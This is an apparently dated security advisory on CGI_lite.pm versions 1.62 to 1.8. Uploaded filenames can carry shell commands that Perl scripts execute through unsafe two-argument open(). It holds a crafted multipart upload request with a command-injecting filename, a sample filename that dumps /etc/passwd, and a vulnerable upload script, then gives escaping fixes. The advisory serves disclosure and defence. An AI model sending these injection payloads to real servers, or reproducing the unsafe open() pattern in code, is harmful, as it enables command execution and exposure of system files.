COMMAND

    CGI_lite.pm

SYSTEMS AFFECTED

    Systems using CGI_lite.pm 1.62, 1.7, 1.8

PROBLEM

    Andrew  McNaughton  found   potentially  dangerous  behaviour   in
    CGI_lite.pm file upload.  In recent versions of CGI_lite.pm, files
    uploaded via  multipart/form-data MIME  encoding is  saved using a
    filename which may be unsafe  (ie contain shell commands).   While
    CGI_lite's operations  on these  files are  apparently safe,  file
    upload scripts  based on  CGI_lite may  not be.   This problem has
    been tested  and confirmed with version 1.7,  and it also  appears
    to affect versions 1.62 and 1.8.

    Netscape  url-encodes  filenames  before  sending  them, but it is
    relatively straightforward  to manually  construct a  http request
    which does not do this url-encoding.

        ----------------- start ---------------------
        POST /cgi-bin/test/upload.pl HTTP/1.0
        Referer: file:///Hard_Disk/pub/projects/Utilities/w3mir/upload.html
        Connection: Keep-Alive
        User-Agent: Mozilla/3.01 (Macintosh; I; PPC)
        Host: 127.0.0.1
        Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
        Accept-Language: en
        Content-type: multipart/form-data;
        boundary=---------------------------29741200957742
        Content-Length: 186

        -----------------------------29741200957742
        Content-Disposition: form-data; name="readme"; filename=";echo foo>foo|"
        file contents
        -----------------------------29741200957742--





        ---------------------- end -------------------

    The script will create a  file whose name consists of  a numerical
    timestamp followed by two underscores and then the user  nominated
    filename.  CGI_lite's handling of these files is apparently  safe.
    Scripts which make use of the filenames recieved from  CGI_lite.pm
    may not be.

            $filename = ";cat /etc/passwd>foo|";

        open (FILE, ">$filename");      # safe
        open (FILE, "<$filename");      # safe
        open (FILE, ">" . $filename);   # safe
        open (FILE, "<" . $filename);   # safe
        open (FILE, "$filename");       # not safe
        open (FILE, $filename);         # not safe

    If the last  is run by  a CGI sript,  the contents of  /etc/passwd
    will be written to STDOUT, and thereby the web client (more likely
    telnet than netscape in the event  of an exploit).  There are  two
    ways for scripts to access the uploaded file(s).

        ---------------------- start -------------------
        #!/usr/local/bin/perl5
        use CGI_Lite;
        $cgi = new CGI_Lite ();
        $cgi->set_directory ("/usr/foo/tmp")
            || die "Directory doesn't exist.\n";
        $cgi->set_platform ("UNIX");
        $cgi->set_file_type ("handle");             # return handles.
        $data = $cgi->parse_form_data ();

        print "Content-type: text/plain", "\n\n";

        $filename = $$data{'readme'};
        while (<$filename>) {
            print;
        }

        close ($filename);
        exit (0);

        ---------------------- end -------------------

    Safe so  far, although  subsequent uses  of these  files might  be
    dangerously  implemented.   Actually  CGI_lite.pm  version  1.7 is
    broken such that using file  handles will only work if  the upload
    directory directory  is set  to ""  which results  in files  being
    stored in the current directory.

        ---------------------- start -------------------
        #!/usr/local/bin/perl5
        use CGI_Lite;
        $cgi = new CGI_Lite ();
        $cgi->set_directory ("/usr/shishir")
            || die "Directory doesn't exist.\n";
        $cgi->set_platform ("UNIX");
        $cgi->set_file_type ("name");      # return filenames.  default behaviour
        $data = $cgi->parse_form_data ();

        print "Content-type: text/plain", "\n\n";

        $filename = $$data{'readme'};
        open (FILE , $filename);
        while (<FILE>) {
            print;
        }

        close ($filename);
        exit (0);

        ---------------------- end -------------------

    this will execute the command embedded in the filename.  There  is
    no problem if the file is opened like so:

        open (FILE , "<$filename");

    In this case the  pipe on the end  of filename does not  result in
    commands in filename being passed to the shell, being overriden by
    the '<'.

SOLUTION

    If you don't use it, You  might want to disable the upload  system
    altogether in this module.  If you do use the file upload  system,
    you  should  properly  escape  the  file  names immediately before
    opening filehandles.  Your programs probably expect url  escaping,
    so this is  probably the best  format to use.   See URI::Escape.pm
    in libwww for code to do this.  Make sure all shell metacharacters
    are escaped, not just the url-unsafe ones.  Don't forget \n.